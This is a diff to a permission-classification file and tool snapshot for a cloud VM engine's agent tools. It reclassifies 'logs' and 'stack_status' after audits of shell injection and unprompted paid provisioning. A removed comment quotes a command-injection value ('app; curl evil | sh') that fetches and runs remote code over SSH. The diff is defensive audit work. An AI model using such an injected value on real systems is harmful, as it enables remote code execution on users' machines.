+This file provides background for the `cloudru-vm` engine binary that the launcher
+RESOLVES AT RUNTIME. The separate Linux/x64 package carries its own generated inventory
+and full license/NOTICE texts for modules linked into the exact packed binary. The
+current Linux/x64 binary is built with `CGO_ENABLED=0`. The historical table below
+comes from `engine/go.mod` in the
 pinned baseline `hermes-engine-src-20260718.tgz`, sha256
 `007e7cbe851d3ecd78f457f81ae3679904b2fd4dac660a0e349dabcde61bbe5c` — see
 `features/hermes-claude-adaptation/evidence/ENGINE-BASELINE.json`).

package/data/tools-classification.json

@@ -1,11 +1,11 @@
 {
-  "$comment": "Golden classification of every cloudru-vm engine tool -> permission action. METHOD (corrected 2026-08-10): permission=allow requires a BEHAVIOUR audit of the tool's engine handler (read the handle* in engine/internal/mcp at pinned baseline engineSha256) proving it passes BOTH hazard axes. AXIS 1 (read-only): genuinely read-only — no persistent state write (except a LOCAL plan file, noted per-entry), no downstream s.callTool, no job advancement, no secret material returned. AXIS 2 (SHELL-REACH, added AM-2 2026-08-10, cross-model QE HIGH): the handler does NOT pass any user-controlled argument into a shell/exec/SSH command (Deployer.Exec, session.CombinedOutput, a string-concatenated `docker …/kubectl …/compose …` command, or exec.Command). A tool that reaches a shell with a user arg is `ask` at MINIMUM — the brake can only set the permission, it CANNOT escape the arg (that is the engine's bug, not something the classifier can fix). The former shape heuristic ('no confirmed prop in schema => read-only') was FALSE-SAFE: stack_status had no confirmed prop yet advances jobs and invokes paid create tools (AXIS 1); `logs` was `allow` yet concatenates its user `service` arg RAW into a remote `docker compose logs <service>` over SSH — a command-injection/RCE path (AXIS 2, engine/logs.go:61 → ssh.go:117). Schema shape (confirmed prop) remains sufficient evidence for ask, never for allow. ENGINE INJECTION FLAGGED to the author (licence-blocked, NOT fixed here — see ADR-004 AM-2): the engine must shell-escape opts.Service and audit every `cmd +=` concatenation. Re-audit of ALL current allow tools against AXIS 2 found `logs` the ONLY shell-reaching allow tool; every other shell site (vm_exec, deploy, deploy_apply/captainkeys, k8s_kubectl/k8s_apply/k8s_helm) is already ask, and k8s_kubectl is additionally veto-hooked. Reclassifying a tool must show up in this diff (ADR-010 golden-snapshot discipline). A tool present in a live tools/list but absent here MUST fail the drift test — deny-by-default.",
-  "engineSha256": "59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124",
+  "$comment": "Golden classification of every cloudru-vm engine tool. allow requires a BEHAVIOUR audit of the handler at the pinned engine SHA proving both axes: (1) observational with no cloud mutation, job advancement or secret return (a local plan write is disclosed), and (2) no user-controlled argument reaching shell/exec/SSH. Shell-reaching tools remain ask even when arguments are quoted. Schema shape alone never proves allow. The old baseline had two hazards: stack_status advanced planned jobs into paid actions and logs inserted an unescaped service into a shell command. In the pinned engine, stack_status reads persisted state only; stack_apply explicitly advances jobs, and logs shell-quotes service. The specific regression tests are in go/cloudru-vm/internal/mcp/stack_status_test.go and internal/engine/logs_test.go. Any unknown live tool fails drift checks; deny by default.",
+  "engineSha256": "4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6",
   "toolCount": 144,
   "counts": {
-    "ask": 65,
+    "ask": 64,
     "deny": 2,
-    "allow": 77
+    "allow": 78
   },
   "tools": {
     "deploy": {
@@ -46,7 +46,7 @@
     "logs": {
       "effect": "shell-reach",
       "permission": "ask",
-      "why": "RECLASSIFIED allow→ask 2026-08-10 (AM-2, shell-reach hazard axis, cross-model QE HIGH): NOT read-only in the safe sense. handleLogs (tools.go:1758) passes the user-controlled `service` arg into engine.Logs, which CONCATENATES it RAW/unescaped into a remote shell command — `cmd += \" \" + opts.Service` (engine/logs.go:61) → e.Deployer.Exec (logs.go:64) → SSH session.CombinedOutput (internal/deploy/ssh.go:117). So service=\"app; curl evil | sh\" executes arbitrary commands on the user's VM: a command-injection/RCE path behind a silent allow, defeating the ADR-004 brake for an autonomous agent with cloud creds. The permission layer can only PROMPT; it cannot escape the arg (that is the engine's bug — flagged ADR-004 AM-2, licence-blocked). The prior audit's claim of a \"FIXED docker compose logs\" was WRONG: the command is NOT fixed."
+      "why": "shell-reach: handleLogs (tools.go:1758) passes user-controlled service to engine.Logs, which now shell-quotes it (engine/logs.go:61; regression internal/engine/logs_test.go). Still ask because it invokes remote SSH/compose and may return sensitive logs."
     },
     "destroy": {
       "effect": "mutating",
@@ -711,7 +711,7 @@
     "stack_plan": {
       "effect": "read-only",
       "permission": "allow",
-      "why": "behaviour-audited: creates NO cloud resource — handleStackPlan (tools_stack.go:297) plans and persists a LOCAL job file only (job.Save :318); its cloud calls are read-only (ListFlavors tools_stack.go:363, ListBuckets :396). Upstream smell: the saved planned job is later ADVANCED by stack_status — which is why stack_status is ask (see its entry)."
+      "why": "behaviour-audited: handleStackPlan (tools_stack.go:297) makes read-only lookups and persists a LOCAL planned job file only (job.Save); only stack_apply advances it."
     },
     "stack_apply": {
       "effect": "mutating",
@@ -719,9 +719,9 @@
       "why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
     },
     "stack_status": {
-      "effect": "mutating",
-      "permission": "ask",
-      "why": "RECLASSIFIED allow→ask 2026-08-10 (cross-model QE HIGH, false-safe): handleStackStatus (tools_stack.go:451) calls s.advance() on planned/running jobs (:479-484); advance starts pending steps via s.callTool (:220) — i.e. it INVOKES the paid create tools (provision, pg_create, k8s_create, lb_create, …) with no confirmation. LIVE-REPRODUCED against baseline 59f83fc0: one stack_status call moved a planned job planned→running and attempted provision (stopped only at AUTH_REQUIRED). The fully-allow chain stack_plan→stack_status would provision a billable stack with ZERO prompts. Upstream design smell (engine, licence-blocked — not fixed here): a status poll on a NEVER-APPLIED job should not start spending."
+      "effect": "read-only",
+      "permission": "allow",
+      "why": "behaviour-audited read-only: handleStackStatus (tools_stack.go:451) loads and returns the persisted job; no advance, callTool, state write or cloud mutation. stack_apply is the explicit advancing action. Regression: internal/mcp/stack_status_test.go."
     },
     "stack_destroy": {
       "effect": "mutating",

package/data/tools-list-snapshot.json

@@ -1,17 +1,17 @@
 {
-  "capturedAt": "2026-08-09",
-  "engineVersion": "cloudru-vm 0.2.3-20260718",
-  "engineSha256": "59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124",
-  "method": "echo tools/list JSON-RPC | cloudru-vm mcp",
+  "capturedAt": "2026-10-20",
+  "engineVersion": "cloudru-vm 0.2.6-20261020",
+  "engineSha256": "4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6",
+  "method": "JSON-RPC tools/list via src/probe-child.js against locally built private engine",
   "toolCount": 144,
   "tools": [
     {
       "name": "deploy",
-      "gated": false
+      "gated": true
     },
     {
       "name": "provision",
-      "gated": false
+      "gated": true
     },
     {
       "name": "status",